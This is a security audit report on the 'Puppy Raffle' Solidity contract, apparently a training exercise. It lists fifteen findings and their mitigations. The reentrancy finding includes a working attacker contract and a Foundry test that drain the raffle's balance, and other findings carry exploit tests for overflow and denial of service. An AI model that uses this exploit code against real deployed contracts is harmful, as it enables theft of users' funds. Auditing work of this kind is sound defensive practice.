Puppy Raffle Audit Report

Prepared by: ARINAITWE ALLAN
Date: July 11, 2025

Arinaitwe Allan GitHub

Table of Contents

About Arinaitwe Allan

Arinaitwe Allan is a smart contract engineer and security researcher with close to a year of experience auditing and analyzing solidity based protocols. Over this period, I have contributed to the review of numerous decentralized applications, identifying vulnerabilities and protecting millions of dollars of protocol funds.

My focus lies in uncovering both high impact vulnerabilities and overlooked edge cases in smart contracts, with a strong emphasis on adversarial thinking, secure protocol design, and real world exploit scenarios. I am familiar with standard security review processes.

In addition to technical audits, I also actively document findings with clarity and transparency, helping teams understand risks and mitigation strategies. My growing expertise and meticulous approach continues to support safer Ethereum based ecosystems.

Contact:
allan.bnb2@gmail.com
@0xArinaitwe

Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibility for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Impact \ Likelihood	High	Medium	Low
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

Audit Details

- **Commit Hash:** `2a47715b30cf11ca82db148704e67652ad679cd8`

Scope

```
./src/
└── PuppyRaffle.sol
```

Protocol Summary

Puppy Raffle is a protocol to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    - `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues Found

Severity	Number of Issues

Severity	Number of Issues
High	3
Medium	3
Low	1
Info	7
Gas	1
Total	**15**

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description* The `PuppyRaffle::refund` function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the players array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);

@>  players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.

3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

Proof of Code Add the following code to the `PuppyRaffleTest.t.sol` file.

Code

```
contract ReentrancyAttacker {
    PuppyRaffle raffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor (PuppyRaffle _raffle) {
        raffle = _raffle;
        entranceFee = raffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        raffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = raffle.getActivePlayerIndex(address(this));
        raffle.refund(attackerIndex);
    }

    function _drainContract() internal {
        if (address(raffle).balance >= entranceFee) {
            raffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _drainContract();
    }

    receive() external payable {
        _drainContract();
    }
}

function test_reentrancy() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // Deploy attacker contract
        ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
        vm.deal(address(attackerContract), 1 ether);
        uint256 attackerStartingBalance =
address(attackerContract).balance;
        uint256 raffleStartingBalance = address(puppyRaffle).balance;

        // Attack
        attackerContract.attack();
        uint256 raffleEndingBalance = address(puppyRaffle).balance;

        console.log("Attacker starting balance: ",
attackerStartingBalance);
        console.log("Raffle starting balance: ", raffleStartingBalance);

        console.log("Attacker ending balance: ",
address(attackerContract).balance);
        console.log("Raffle ending balance: ", raffleEndingBalance);
        assertEq(raffleEndingBalance, 0);
    }
```

Recommended Mitigation To fix this, we should have the `PuppyRaffle::refund` function update the players array before making the external call. Additionally, we should move the event emission up as well.

```diff
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        (bool success,) = msg.sender.call{value: entranceFee}("");
        require(success, "PuppyRaffle: Failed to refund player");
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Code There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here.

`block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended mitigation Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Add this test to `PuppyRaffleTest.t.sol`:

▶ Proof of Code

```
function test_test_interger_overflow() public playersEntered {
        // First we have 4 players enter the raffle
        vm.warp(block.timestamp + duration + 1);
        // Select winner
        puppyRaffle.selectWinner();
        console.log(puppyRaffle.previousWinner());

        uint256 startingFeesBalance = puppyRaffle.totalFees();

        // Lets enter 89 players now
        address[] memory players = new address[](89);
        for (uint256 i = 0; i < 89; i++) {
            players[i] = address(i);
        }

        // 89 players enter the raffle
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        vm.warp(block.timestamp + duration + 1);
        // Select winner
        puppyRaffle.selectWinner();
        console.log(puppyRaffle.previousWinner());

        uint256 endingFeesBalance = puppyRaffle.totalFees();
        assert(endingFeesBalance < startingFeesBalance);

        // Withdraw the fees
        vm.prank(playerOne);
        vm.expectRevert(); // You cant withdraw fees
        puppyRaffle.withdrawFees();
    }
```

Recommended mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of attack (DoS), incrementing gas for future entrants

Description The `PuppyRaffle:enterRaffle` function loops through the `players` arrays to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players who enter when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
// @audit DoS attack
@> for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
```

Impact the gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later user from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big that no else enters guaranteeing themselves the win.

Proof of Concept

If we have 2 sets of 100 players enter, the gas costs will be as such: -- First 100 players ~ 6503275 gas -- Second 100 players ~ 18995515 gas

This is 3x more expensive for the second 100 players

Place the following test in `PuppyRaffleTest.t.sol`

▶ Code

```
function test_enter_raffle_DoS() public {
        address[] memory players = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            players[i] = address(i);
        }

        // Calculate how much gas it costs the first 100 players
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        uint256 gasCost = gasStart - gasleft();
        console.log("Gas used for the first 100 players", gasCost);

        // Lets enter another 100 players
        address[] memory new_players = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            new_players[i] = address(i + 100);
        }

        // Calculate how much gas it costs for the second 100 players
        uint256 gasStartA = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * new_players.length}
(new_players);
        uint256 gasCostSecond = gasStartA - gasleft();
        console.log("Gas used for the next 100 players", gasCostSecond);

        assert(gasCostSecond > gasCost);
    }
```

Recommended Mitigation There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.

2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```diff
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Smart contract raffle winners without a `receive` or `fallback` function will block the start of a new contest

Description The `PuppyRaffle::selectWinner` is responsible for resetting the lottery. However, if the winner is a smart contract that rejects payment, the lottery would not be able to restart.

Users could easily call the `PuppyRaffle::selectWinner` function again and non-entrants could enter. but it could cost a lot due to the duplicate check and a lottery reset could be challenging.

Impact The `PuppyRaffle::selectWinner` could revert many times, making a lottery reset difficult.

Also, true winners could not get paid and other people could take their money

Proof of Concept

1. 10 smart contract wallets enter the raffle without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function would not work, even though the lottery is over

Recommended Mitigation There a few options to mitigate this issue:

1. Do not allow smart contracts to enter the raffle (Not recommended)
2. Create a mapping of addresses --> payout amounts so winners can pull their funds themselves using the new `claimPrize` function enabling the winners to claim the prize. (Recommende)

[M-3] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract `(address(this).balance)`. Since this contract doesn't have a payable `fallback` or `receive` function, you'd think this wouldn't be possible, but a user could selfdesctruct a contract with ETH in it and force funds to the PuppyRaffle contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: 
There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Imapct This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a withdrawFee transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Recommended Mitigation Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: 
There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description

```
    /// @return the index of the player in the array, if they are not 
active, it returns 0
    function getActivePlayerIndex(address player) external view returns 
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact It causes a player at index 0 to incorrectly think they have not entered the raffle and attempt to enter the raffle again wasting gas.

Proof of Concept

1. User enters the raffle as first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered due to incorrent documentation

Recommended Mitigation The easiest recommendatio is to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function return `-1` if the player is not active.

Informational

[I-1] Unspecific solidity pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol

[I-2] Using an outdated version of solidity is not recommended

Description `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither documentation for more information.

[I-3] Address state variable set without checks

Check for `address(0)` when assigning values to address state variables.

[I-4] `PuppyRaffle::selectWinner` does not follow CEI pattern

Follow the CEI (Checks, Effects, Interactions) to have clean code, it is also good code practice.

```diff
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of magic numbers is discouraged

It can be confusing to see number literals in a codebase, and it is more readable when numbers are given names.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant PRECISION = 100;
    uint256 public constant FEE_PERCENTAGE = 20;
```

[I-6] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```diff
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-7] State change without event

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Gas

[G-1] Storage variables in a loop should be cached

Everytime you call `players.length`, you read from storage, as opposed to memory which is gas efficient

```diff
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength -1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
```

```
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```